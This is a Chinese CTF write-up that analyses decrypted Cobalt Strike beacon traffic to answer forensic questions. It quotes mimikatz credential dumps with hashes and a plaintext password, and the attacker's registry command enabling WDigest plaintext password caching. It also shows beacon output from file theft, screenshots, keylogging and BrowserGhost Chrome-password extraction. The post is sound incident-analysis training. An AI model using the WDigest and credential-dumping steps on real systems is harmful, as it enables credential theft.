在第36696包里,发现Username :为Administrator , password为 xj@cs123

1
2
3
4
5
6
7
8
Packet number: 36696
HTTP request POST
http://192.168.31.170/submit.php?id=1603726794
Length raw data: 3236
Counter: 6
Callback: 32 CALLBACK_OUTPUT_UTF8
b'\nAuthentication Id : 0 ; 316127 (00000000:0004d2df)\nSession : Interactive from 1\nUser Name : Administrator\nDomain : WIN-8FC6TKPDPOR\nLogon Server : WIN-8FC6TKPDPOR\nLogon Time : 2025/2/12 20:12:21\nSID : S-1-5-21-1522707697-3945662422-3100628028-500\n\tmsv :\t\n\t [00000005] Primary\n\t * Username : Administrator\n\t * Domain : WIN-8FC6TKPDPOR\n\t * NTLM : 5eaa2d43f9b8083283605589576678ee\n\t * SHA1 : 89399e56450299e51f86de4f8c66b2835399d36e\n\ttspkg :\t\n\twdigest :\t\n\t * Username : Administrator\n\t * Domain : WIN-8FC6TKPDPOR\n\t * Password : xj@cs123\n\tkerberos :\t\n\t * Username : Administrator\n\t * Domain : WIN-8FC6TKPDPOR\n\t * Password : (null)\n\tssp :\t\n\tcredman :\t\n\nAuthentication Id : 0 ; 60842 (00000000:0000edaa)\nSession : Interactive from 1\nUser Name : DWM-1\nDomain : Window Manager\nLogon Server : (null)\nLogon Time : 2025/2/12 20:06:21\nSID : S-1-5-90-0-1\n\tmsv :\t\n\ttspkg :\t\n\twdigest :\t\n\t * Username : WIN-8FC6TKPDPOR$\n\t * Domain : WORKGROUP\n\t * Password : (null)\n\tkerberos :\t\n\tssp :\t\n\tcredman :\t\n\nAuthentication Id : 0 ; 996 (00000000:000003e4)\nSession : Service from 0\nUser Name : WIN-8FC6TKPDPOR$\nDomain : WORKGROUP\nLogon Server : (null)\nLogon Time : 2025/2/12 20:06:21\nSID : S-1-5-20\n\tmsv :\t\n\ttspkg :\t\n\twdigest :\t\n\t * Username : WIN-8FC6TKPDPOR$\n\t * Domain : WORKGROUP\n\t * Password : (null)\n\tkerberos :\t\n\t * Username : win-8fc6tkpdpor$\n\t * Domain : WORKGROUP\n\t * Password : (null)\n\tssp :\t\n\tcredman :\t\n\nAuthentication Id : 0 ; 38495 (00000000:0000965f)\nSession : UndefinedLogonType from 0\nUser Name : (null)\nDomain : (null)\nLogon Server : (null)\nLogon Time : 2025/2/12 20:06:21\nSID : \n\tmsv :\t\n\ttspkg :\t\n\twdigest :\t\n\tkerberos :\t\n\tssp :\t\n\tcredman :\t\n\nAuthentication Id : 0 ; 997 (00000000:000003e5)\nSession : Service from 0\nUser Name : LOCAL SERVICE\nDomain : NT AUTHORITY\nLogon Server : (null)\nLogon Time : 2025/2/12 20:06:21\nSID : S-1-5-19\n\tmsv :\t\n\ttspkg :\t\n\twdigest :\t\n\t * Username : (null)\n\t * Domain : (null)\n\t * Password : (null)\n\tkerberos :\t\n\t * Username : (null)\n\t * Domain : (null)\n\t * Password : (null)\n\tssp :\t\n\tcredman :\t\n\nAuthentication Id : 0 ; 60891 (00000000:0000eddb)\nSession : Interactive from 1\nUser Name : DWM-1\nDomain : Window Manager\nLogon Server : (null)\nLogon Time : 2025/2/12 20:06:21\nSID : S-1-5-90-0-1\n\tmsv :\t\n\ttspkg :\t\n\twdigest :\t\n\t * Username : WIN-8FC6TKPDPOR$\n\t * Domain : WORKGROUP\n\t * Password : (null)\n\tkerberos :\t\n\tssp :\t\n\tcredman :\t\n\nAuthentication Id : 0 ; 999 (00000000:000003e7)\nSession : UndefinedLogonType from 0\nUser Name : WIN-8FC6TKPDPOR$\nDomain : WORKGROUP\nLogon Server : (null)\nLogon Time : 2025/2/12 20:06:21\nSID : S-1-5-18\n\tmsv :\t\n\ttspkg :\t\n\twdigest :\t\n\t * Username : WIN-8FC6TKPDPOR$\n\t * Domain : WORKGROUP\n\t * Password : (null)\n\tkerberos :\t\n\t * Username : win-8fc6tkpdpor$\n\t * Domain : WORKGROUP\n\t * Password : (null)\n\tssp :\t\n\tcredman :\t\n'
Extra packet data: b'u'

黑客为了得到明文密码修改了什么?(提交flag{md5(执行的命令)})

分析上一个问题时间我们可以发现,在第36696包前,我们先在第21645号包里尝试用mimikatz sekurlsa::logonpasswords来读取密码码,但是在第21766包并没有回显出密码。于是在后续包中,攻击者执行两个命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Packet number: 24372
HTTP response (for request 24366 GET)
Length raw data: 176
Timestamp: 1739362482 20250212-121442
Data size: 145
Command: 78 COMMAND_EXECUTE_JOB
Command: b'%COMSPEC%'
Arguments: b' /C reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f'
Integer: 0

Packet number: 24372
HTTP request
http://192.168.31.170/en_US/all.js
Length raw data: 176
HMAC signature invalid

Packet number: 24389
HTTP request POST
http://192.168.31.170/submit.php?id=1603726794
Length raw data: 68
Counter: 5
Callback: 30 CALLBACK_OUTPUT_OEM
b'\xb2\xd9\xd7\xf7\xb3\xc9\xb9\xa6\xcd\xea\xb3\xc9\xa1\xa3\r\r\n'
Extra packet data: b'\x003\x00'

Packet number: 25348
HTTP response (for request 25342 GET)
Length raw data: 96
Timestamp: 1739362493 20250212-121453
Data size: 70
Command: 78 COMMAND_EXECUTE_JOB
Command: b'%COMSPEC%'
Arguments: b' /C rundll32.exe user32.dll,LockWorkStation'
Integer: 0

第一个是 里下发的`` /C reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f` :修改注册表,强制启用 WDigest 协议的身份验证功能,使系统在内存中以 明文形式 保存用户登录密码。 其中参数的具体含义为:

1
2
3
4
/v UseLogonCredential    # 操作的目标键值
/t REG_DWORD # 键值类型为DWORD
/d 1 # 设置值为1(启用危险功能)
/f # 强制覆盖不提示

第二个是 第25348包里下发的/C rundll32.exe user32.dll,LockWorkStation:立即锁定当前用户的工作站(相当于按下 Win + L 快捷键).两者配合下来修改注册表后锁屏后等待用户登录。题目问题是修改执行的命令,因此flag为第24372包里的命令的md5:

1
2
flag{md5( /C reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f)}
flag{73aeb8ee98d124a1f8e87f7965dc0b4a}

黑客下载的文件名称是什么?

进行分析流量解密后记录,可以看到第38771号包的类型为:``COMMAND_DOWNLOAD` 下载。然后紧接着第38813号包为受害者的返回包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

Packet number: 38771
HTTP response (for request 38765 GET)
Length raw data: 96
Timestamp: 1739362546 20250212-121546
Data size: 61
Command: 11 COMMAND_DOWNLOAD
Arguments length: 53
b'C:\\Users\\Administrator\\Desktop\\xxx\xb7\xfe\xce\xf1\xc6\xf7\xd4\xcb\xce\xac\xd0\xc5\xcf\xa2.xls
MD5: 66c26a1fd1208b12788ca581024da3eb

Packet number: 38771
HTTP request
http://192.168.31.170/en_US/all.js
Length raw data: 96
HMAC signature invalid

Packet number: 38813
HTTP request POST
http://192.168.31.170/submit.php?id=1603726794
Length raw data: 9500
Counter: 8
Callback: 2 CALLBACK_FILE
parameter1: 0
length: 9293
filenameDownload: b'C:\\Users\\Administrator\\Desktop\\xxx\xb7\xfe\xce\xf1\xc6\xf7\xd4\xcb\xce\xac\xd0\xc5\xcf\xa2.xlsx'
Counter: 9
Callback: 8 CALLBACK_FILE_WRITE
Length: 9293
MD5: 96b18bc8efd0963ad2c77d084d5c1e5d
Extra packet data: b'\x00\x00\x00'

Counter: 10
Callback: 9 CALLBACK_FILE_CLOSE
b'\x00\x00\x00\x00'

将文件名gbk编码后我们可以看到:

1
2
b'C:\\Users\\Administrator\\Desktop\\xxx\xb7\xfe\xce\xf1\xc6\xf7\xd4\xcb\xce\xac\xd0\xc5\xcf\xa2.xls'.decode('gbk')
'C:\\Users\\Administrator\\Desktop\\xxx服务器运维信息.xls'

即答案为:

1
flag{xxx服务器运维信息.xlsx}

黑客下载的文件内容是什么?

将脚本提到MD5为96b18bc8efd0963ad2c77d084d5c1e5d的文件找到后,修改后缀名xls打开后即可看到flag.

image-20250427083600348

flag即为:flag{752fe2f44306e782f0d6830faad59e0e}

黑客上传的文件内容是什么?

分析脚步记录发现包从47234 到49618有多个COMMAND_UPLOAD上传指令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Packet number: 47234
HTTP response (for request 44798 GET)
Length raw data: 1046672
Timestamp: 1739362623 20250212-121703
Data size: 1046634
Command: 10 COMMAND_UPLOAD
Arguments length: 786477
b'\x00\x00\x00)C:\\Users\\Administrator\\Desktop\\upload.png\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\
MD5: c3b95df4307fc99783902046a44c5d11
Command: 67 COMMAND_UPLOAD_CONTINUE
Arguments length: 260141
b'\x00\x00\x00)C:\\Users\\Administrator\\Desktop\\upload.pngC\x95k\x02\xf8\x14\xd8\x87P$\x9dKK\xeck\
MD5: d4863d91eb3b4f9589c72fa6f512cc14

Packet number: 47234
HTTP request
http://192.168.31.170/en_US/all.js
Length raw data: 1046672
HMAC signature invalid

Packet number: 49618
HTTP response (for request 47317 GET)
Length raw data: 1040624
Timestamp: 1739362624 20250212-121704
Data size: 1040596
Command: 67 COMMAND_UPLOAD_CONTINUE
Arguments length: 260141
b'\x00\x00\x00)C:\\Users\\Administrator\\Desktop\\upload.png.\xd8\xd8Hzw^\xee~\x00\xf8,\x81\xa3\xd0\
MD5: 308acb7dad1be9f4536f0592e07a2795
Command: 67 COMMAND_UPLOAD_CONTINUE
Arguments length: 260141
b'\x00\x00\x00)C:\\Users\\Administrator\\Desktop\\upload.pngj\'\xd5"\x06\xb8\xe5\x9aEH\xc5\x048\xa3=
MD5: faa7604d4648c0eaba56c49fe126a80d
Command: 67 COMMAND_UPLOAD_CONTINUE
Arguments length: 260141
b'\x00\x00\x00)C:\\Users\\Administrator\\Desktop\\upload.png\xaf\x9f`\xbb\xc0\xc5\xc8\xd0Wq&2AR\x1cW
MD5: 06666fffd233f1ab7a642e06b6fe5928
Command: 67 COMMAND_UPLOAD_CONTINUE
Arguments length: 260141
b'\x00\x00\x00)C:\\Users\\Administrator\\Desktop\\upload.pngC\xd8@\xca.7\x00Y}z\xcf\xbc\xd4l\x1f\xd3
MD5: b163a6b1d558fa5653b2c70084c20cd7

将提起出来的文件按照如下md5点顺序进行拼接:

1
2
3
4
5
6
7
8
9
10
11
12
13
MD5: payload-c3b95df4307fc99783902046a44c5d11

MD5: d4863d91eb3b4f9589c72fa6f512cc14

MD5: 308acb7dad1be9f4536f0592e07a2795

MD5: faa7604d4648c0eaba56c49fe126a80d

MD5: 06666fffd233f1ab7a642e06b6fe5928

MD5: b163a6b1d558fa5653b2c70084c20cd7

MD5: 8bbebe9b0f2670cd5a5aa540a9a704b9

即可得到攻击者上传的图片:

image-20250427084502410

黑客截图后获取到用户正在使用哪个软件?(提交程序名称如firefox)

分析流量包发现,第65334号包恰好为CALLBACK_SCREENSHOT包

1
2
3
4
5
6
7
8
Packet number: 65334
HTTP request POST
http://192.168.31.170/submit.php?id=1603726794
Length raw data: 95364
Counter: 12
Callback: 3 CALLBACK_SCREENSHOT
Length: 95315
MD5: 0eba599a0abd2c4c4aefe5e183312834

读取第65334号提取出来的文件,改为png格式后,发现为chrome浏览器。

image-20250427212335301

所以flag为

1
flag{chrome}

黑客读取到浏览器保存的密码是什么?

在第 123336包里读取到密码0f338a1a6ad8785cee2b471d9d3e9f91

1
2
3
4
5
6
7
8
9
Packet number: 123336
HTTP request POST
http://192.168.31.170/submit.php?id=1603726794
Length raw data: 868
Counter: 16
Callback: 0 CALLBACK_OUTPUT
----------------------------------------------------------------------------------------------------
b'[+] [2068] [explorer] [Administrator]\r\n[+] Impersonate user Administrator\r\n[+] Current user Administrator\r\n[+] Copy C:\\Users\\Administrator\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data to C:\\Users\\Administrator\\AppData\\Local\\Temp\\tmpF37D.tmp\r\nSystem.Security.Cryptography.CryptographicException: BCrypt.BCryptDecrypt(): authentication tag mismatch\r\n \xd4\xda BrowserGhost.AesGcm.Decrypt(Byte[] key, Byte[] iv, Byte[] aad, Byte[] cipherText, Byte[] authTag)\r\n \xd4\xda BrowserGhost.Program.DecryptWithKey(Byte[] encryptedData, Byte[] MasterKey)\r\n\tURL -> https://www.baidu.com/\n\tUSERNAME -> xuanji\n\tPASSWORD -> \n\r\n\tURL -> https://baidu.com/\n\tUSERNAME -> xuanji\n\tPASSWORD -> 0f338a1a6ad8785cee2b471d9d3e9f91\n\r\n[+] Delete File C:\\Users\\Administrator\\AppData\\Local\\Temp\\tmpF37D.tmp\r\n[+] Recvtoself\r\n[+] Current user Administrator\r\n'
----------------------------------------------------------------------------------------------------

故flag为:

1
flag{0f338a1a6ad8785cee2b471d9d3e9f91}

黑客使用键盘记录获取到用户打开了什么网站?(提交网站域名)

在第127593包里,我们可以看到xj.edisec.net推测访问了这个网址。

1
2
3
4
5
6
7
Packet number: 127593
HTTP request POST
http://192.168.31.170/submit.php?id=1603726794
Length raw data: 244
Counter: 17
Callback: 1 CALLBACK_KEYSTROKES
b'\x8c\x00\x00\x00\n\n\x03C\xd0\xc2\xb1\xea\xc7\xa9\xd2\xb3 - Google Chrome\n\x03E=======\x0f\nxj.edisec.net\n\n\n\x03Cxj.edisec.net/signin?redirect=%2F - Google Chrome\n\x03E=======\x0f\n\x032[control]\x0f\x032[ctrl]\x0f\x01\x00\x00\x00%\x00\x00\x00\xb5\xc7\xc2\xbd \xa1\xa4 \xd0\xfe\xbb\xfa - EDISEC - Google Chrome\r\x00\x00\x00Administrator'

flag为:

1
flag{xj.edisec.net}
文章目录
  1. CobaltStrike运行过程浅说
  2. CobaltStrike 流量分析破解思路
    1. RSA 私钥获取
      1. 未获取.cobaltstrike.beacon_keys的情况(n可以分解)
  3. 加密的元数据获取
  4. raw key获取
  5. 流量包解密
  • CobaltStrike流量分析-解题记录
    1. 溯源反制
    2. 黑客攻击的上线时间
    3. 黑客使用的隧道payload名字是什么?
    4. 黑客获取到当前用户的明文密码是什么?
    5. 黑客为了得到明文密码修改了什么?(提交flag{md5(执行的命令)})
    6. 黑客下载的文件名称是什么?
    7. 黑客下载的文件内容是什么?
    8. 黑客上传的文件内容是什么?
    9. 黑客截图后获取到用户正在使用哪个软件?(提交程序名称如firefox)
    10. 黑客读取到浏览器保存的密码是什么?
    11. 黑客使用键盘记录获取到用户打开了什么网站?(提交网站域名)
  • |